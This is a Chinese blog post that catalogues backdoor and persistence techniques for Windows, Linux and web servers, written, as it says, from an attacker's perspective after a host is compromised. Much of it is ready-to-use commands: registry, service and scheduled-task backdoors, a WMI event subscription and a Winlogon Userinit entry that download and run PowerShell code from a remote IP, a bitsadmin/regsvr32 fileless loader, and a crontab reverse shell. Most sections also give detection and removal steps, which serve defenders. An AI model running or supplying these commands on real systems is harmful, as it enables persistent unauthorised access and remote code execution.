权限维持及后门持久化技巧总结

一、前言

在攻击者利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。本文从Windows持久化,Linux持久化和Web持久化对现有技术进行了总结,对于持久化的攻击形式,主要是靠edr、av等终端产品进行检测。

二、Windows后门

2.1辅助功能镜像劫持

为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。

一些常见的辅助功能如:

C:\Windows\System32\sethc.exe    粘滞键    快捷键:按五次 shift 键

C:\Windows\System32\utilman.exe     设置中心   快捷键:Windows+U 键

C:\Windows\System32\osk.exe        屏幕键盘

C:\Windows\System32\Magnify.exe    放大镜      快捷键:Windows+加减号

在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\ sethc.exe替换为cmd.exe。对于在 Windows Vista 和 Windows Server 2008 及更高的版本中,替换的二进制文件受到了系统的保护,因此这里就需要另一项技术:映像劫持。

映像劫持,也被称为「IFEO」(Image File Execution Options), 是Windows内设的用来调试程序的功能,Windows注册表中存在映像劫持子键(Image File Execution Options)。

当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。

具体实现最简单的操作就是修改注册表,

以设置中心utilman.exe为例:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option中添加 utilman.exe 项,在此项中添加 debugger 键,键值为要启动的程序路径。对应的cmd命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\utilman.exe" /tREG_SZ /v Debugger /d "C:\test.bat" /f

注册表键值情况及启动效果:

image.png

检测及清除办法:

检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option注册表路径中的程序名称及键值。

2.2启动项/服务后门

2.2.1开始菜单启动项

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start   Menu\Programs\Startup

 

相关键值: 

 

 

 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders
 

 

 

 

 

 

 

 

 

image.png

 

 

 

 

在重新启动后,该目录的快捷方式或应用程序会在系统启动的时候被执行:

 

 

 

 

image.png

 

 

 

 

检测及清除办法:检查相关注册表键值或使用autoruns。

 

 

 

 

2.2.2启动项注册表后门

 

 

 

 

最常见的在启动项注册表键值添加一个新的键值类型为REG_SZ,数据项中添写需要运行程序的路径即可以启动,此类操作一些较为敏感容易被本地AV拦截,目前也是较为常见的一种方式。

 

 

 

 

启动项键值路径如下:

 

 

 

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run
 

 

 

 

 

 

使用命令:

 

 

 

 

 
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "Keyname" /t REG_SZ /d "C:\test.bat" /f

 

 

 

 

image.png重启效果如下:

 

 

 

 

image.png检测及清除办法:

 

 

 

 

检查相关注册表键值或使用autoruns。

 

 

 

 

2.2.3自启动服务后门

 

 

 

 

在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。

 

 

 

 

将exe木马添加到自启动服务中 

sc create "GoogleUpdated" binpath=   "C:\Users\Administrator\Desktop\test.exe" 

sc description "GoogleUpdated"   "description" 设置服务的描述字符串 

sc config "GoogleUpdated"   start= auto  设置这个服务为自动启动 net start "GoogleUpdated"   启动服务

 

 

 

 

 

 

 

 

将自己的恶意的可执行文件注册成服务,cs中支持生成此类后门:

 

 

 

 

image.png

 

 

 

 

也可以尝试配合使用powershell生成无文件的后门:

 

 

 

 

powershell.exe -nop -w hidden -c   \"IEX ((new-object 

net.webclient).downloadstring('http://186.64.5.115:80/a'))\"

 

 

 

 

 

 

 

 

删除服务:

 

 

 

 

sc delete "GoogleUpdated"

 

 

 

 

 

 

 

 

检测及清除办法:

 

 

 

 

排查自启动服务。

 

 

 

 

2.3系统计划任务后门

 

 

 

 

Windows实现定时任务主要有schtasks与at二种方式,通过计划任务

 

 

 

 

At 适用于windows xp/2003,Schtasks适用于win7/2008+

 

 

 

 

schtasks /create /sc minute /mo 5   /tn "chrome" /tr c:\test.bat

 

 

 

 

 

执行后计划任务成功创建:

 

 

 

 

image.png

 

 

 

 

也可以和bitsadmin联动实现无文件后门:

 

 

 

 

"%WINDIR%\system32\bitsadmin.exe /resume \"chrome\""

 

 

 

 

 

 

 

 

检测及清除办法:

 

 

 

 

使用autoruns排查计划任务。

 

 

 

 

2.4DLL劫持

 

 

 

 

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,进而持久化控制。

 

 

 

 

由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在 环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的 输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

 

 

 

 

比较常用的如LPK.dll的劫持:

 

 

 

 

win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:

 

 

 

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

 

 

 

 

 

image.png

 

 

 

 

构造劫持lpk.dll需要和原dll函数具有相同的导出表,在初始化函数中加入我们要执行的代码,这样调用时会执行插入的后门代码。

 

 

 

 

2.5Winlogon用户登录初始化

 

 

 

 

Winlogon.exe 进程是 Windows 操作系统中非常重要的一部分,Winlogon 用于执行与 Windows 登录过程相关的各种关键任务,例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中。

 

 

 

 

在注册表项 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用于管理支持 Winlogon 的帮助程序和扩展功能,对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。

 

 

 

 

已知以下子项可能容易被恶意代码所利用:

 

 

 

 

Winlogon\Userinit – 指向 userinit.exe,即用户登录时执行的用户初始化程序。攻击者可以利用这些功能重复执行恶意代码建立持久后门,如下的代码演示了如何通过在 Userinit 子键添加恶意程序路径实现驻留系统的目的。

 

 

 

 

修改winlogon Userinit字段:

 

 

 

 

注册表路径:

 

 

 

 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

 

 

 

 

键值:Userinit

 

 

 

 

image.png

 

 

 

 

Powershell一键修改命令:

 

 

 

 

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,***************"

 

 

 

 

 

结合powershell,可以达到无文件后门效果:

 

 

 

 

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop   -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://186.64.5.115:80/a'))\""

 

 

检查及清除:

 

检查以下注册表中的键值是否存在不明来历的程序路径HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

 

2.6Logon Scripts后门

 

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

 

注册表位置:

 

HKEY_CURRENT_USER\Environment\

 

 

创建字符串键值: UserInitMprLogonScript,键值设置为后门的绝对路径:c:\test.bat

 

image.png系统重启后触发后门的执行:

 

image.png检测及查杀:

 

查看对应注册表键值,HKEY_CURRENT_USER\Environment\UserInitMprLogonScript

 

2.7劫持helper dll

 

netsh是windows系统本身提供的功能强大的网络配置命令行工具

 

netsh add helper   c:\test\netshtest.dll

 

 

 

 

Helper.dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

 

image.png检测及查杀

 

检查注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

 

或者通过Process Explorer查看netsh进程加载的dll

 

清除:

 

netsh delete helper c:\test\netshtest.dll

 

或者直接在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh删除对应键值

 

2.8无文件执行

 

2.8.1WMI构造无文件后门

 

WMI(Windows管理工具)是微软基于Web的企业管理(WBEM)的实现版本,这是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。

 

该类型后门主要用到了WMI展现出来的两个特征:无文件和无进程。通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。

 

下面是比较典型的代码,

 

每60秒会重复触发事件,我们设定的命令会被执行:

 

$Name = 'test' # build the filter $TimeExecTime = 60 $Query = "SELECT * FROM __InstanceModificationEvent   WITHIN                           $TimeExecTime WHERE TargetInstance ISA   'Win32_PerfFormattedData_PerfOS_System'" $NS = "root\subscription" $FilterArgs = @{     Name=$Name       EventNameSpace="root\cimv2"       QueryLanguage="WQL"     Query=$Query } $Filter = Set-WmiInstance -Namespace $NS -Class   "__EventFilter" -Arguments $FilterArgs # build the consumer $ConsumerName = $Name $command = "`$wc = New-Object   System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT   6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy =   [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials =   [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX   (`$wc.DownloadString('http://186.64.5.115:80/a'))" #$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) $commandLine =   "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP   -NonI -w hidden -Command $command"    $ConsumerArgs = @{       Name=$ConsumerName       CommandLineTemplate=$commandLine } $consumer = Set-WmiInstance -Class   "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs #Bind filter and consumer $Args = @{    Filter =   $Filter    Consumer =   $consumer } Set-WmiInstance -Class   "__FilterToConsumerBinding" -Namespace "root\subscription"   -Arguments $Args

 

 

通过查看cs日志,可以看到上线记录:

 

image.png 缺点:目前杀软对powershell这类监管较严格,容易被发现

 

检测及清除:

 

从WMI数据库中删除条目的最简单方法,就是使用Autoruns。为此,我们不妨以管理员身份启动Autoruns,并选择WMI选项卡,这样就可以查找与WMI相关的持久性后门了。

 

image.png

 

2.8.2Bitsadmin(windows 自带用于创建上传或下载任务)

 

bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。

 

Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。可绕过autorun、常见杀软检测。

 

如果任务未完成,支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

bitsadmin /create   backdoor  # 创建任务 bitsadmin /addfile   backdoor %comspec% %temp%\cmd.exe  给任务test添加一个下载文件 bitsadmin.exe /SetNotifyCmdLine backdoor   "%COMSPEC%" "cmd.exe /c start /B C:\aa.exe"  //设置在任务完成传输时或任务进入状态时将运行的命令行命令 bitsadmin /Resume   backdoor  # 激活执行任务

 

 

 

 

无文件不落地后门

bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe   "/u /s /i:http://186.64.5.115:80/aa scrobj.dll" bitsadmin /Resume backdoor

 

 

 

 

 

重启计算机:

 

 

 

 

重启计算机,发现弹出对话框,BITS 任务依然存在,如果我们想让任务完成,可以执行bitsadmin /complete test

 

 

 

检测及查杀:

 

 

 

 

使用bitsadmin列出所有任务

bitsadmin /list /allusers /verbose

 

 

 

2.9进程注入

 

 

 

 

准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,以cobaltstrike为例,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查

 

 

 

 

image.png

 

 

 

 

进程注入排查:

 

 

 

 

使用工具process explorer 、process monitor等均可

 

 

 

 

image.png

 

 

 

 

三、Linux后门

 

 

 

 

3.1crontab计划任务后门

 

 

 

 

这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用,crontab格式 每隔60分钟执行一次

 

 

 

 

(crontab -l;echo '*/60 * * * *   exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -

 

 

 

 

命令解释:

 

echo '*/60 * * * *' #crontab格式 每隔60分钟执行一次

exec 9<>/dev/tcp/127.0.0.1/8888

 

 

 

 

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9,要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

            exec 0<&9;exec 1>&9 2>&1;

 

 

 

 

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

 

 

 

 

n >&m 表示使文件描述符n成为描述符m的副本

 

 

 

 

exec 0<&9;   将fd9从定向到标准输入;

 

 

 

 

exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

 

 

 

 

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

            /bin/bash --noprofile -i

 

 

 

 

3.2SSH公钥免密

 

 

 

 

将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。客户端执行生成公钥和私钥:

ssh-keygen -t rsa

 

 

 

 

 

 

 

image.png

 

 

 

 

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。

 

 

 

 

服务端:

 

 

 

 

cat id_dsa.pub >>   ~/.ssh/authorized_key
 

 

 

 

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。

 

 

 

 

3.3Rookit后门

 

 

 

 

3.3.1应用级rookit

 

 

 

 

应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。

 

 

 

 

3.4内核级rookit

 

 

 

 

隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。

 

 

 

 

四、Web权限维持

 

 

 

 

通过对webshell的动静态免杀绕过防护软件,进行权限维持。通过修改webshell时间戳,放到不被管理员关注的一些深层目录中,去除敏感shell函数特征,通过对shell流量双向加密去避开常规waf检测

 

 

 

 

4.1Webshell隐藏

 

 

 

 

使用windows自带命令行工具attrib用来显示或更改文件属性。

 

 

 

 

attrib +r +s +h
 

 

 

 

image.png

 

 

 

 

4.2配置文件型后门

 

 

 

 

在.htaccess中添加php解析的新后缀并上传,之后上传该后缀的木马即可。

 

 

 

 

 

AddType application/x-httpd-php .txt

 

 

 

 

image.png

 

 

 

 

image.png

 

 

 

 

4.3中间件后门

 

 

 

 

将编译好的so文件添加到php.ini的extension中。当模块被初始化时,会去加载执行我们的代码。当发送特定参数的字符串过去时,即可触发后门。

 

 

 

 

五、总结

 

 

 

 

本文从攻击者视角总结了在获取到服务器或主机权限后,维持权限的一些技巧,持久化主要是为了把攻陷的目标作为据点进一步深入渗透。由于水平有限,欢迎大家指出文中的错误和交流指教。

 

 

 

 

参考资料:

 

 

 

 

1.https://xz.aliyun.com/t/6822 持久化研究

2.https://github.com/klionsec/

3.http://cb.drops.wiki/wooyun/drops/tips-3003.html

4.http://www.freebuf.com

posted @ 2020-03-19 11:00  0DayBug  阅读(1409)  评论(0编辑  收藏  举报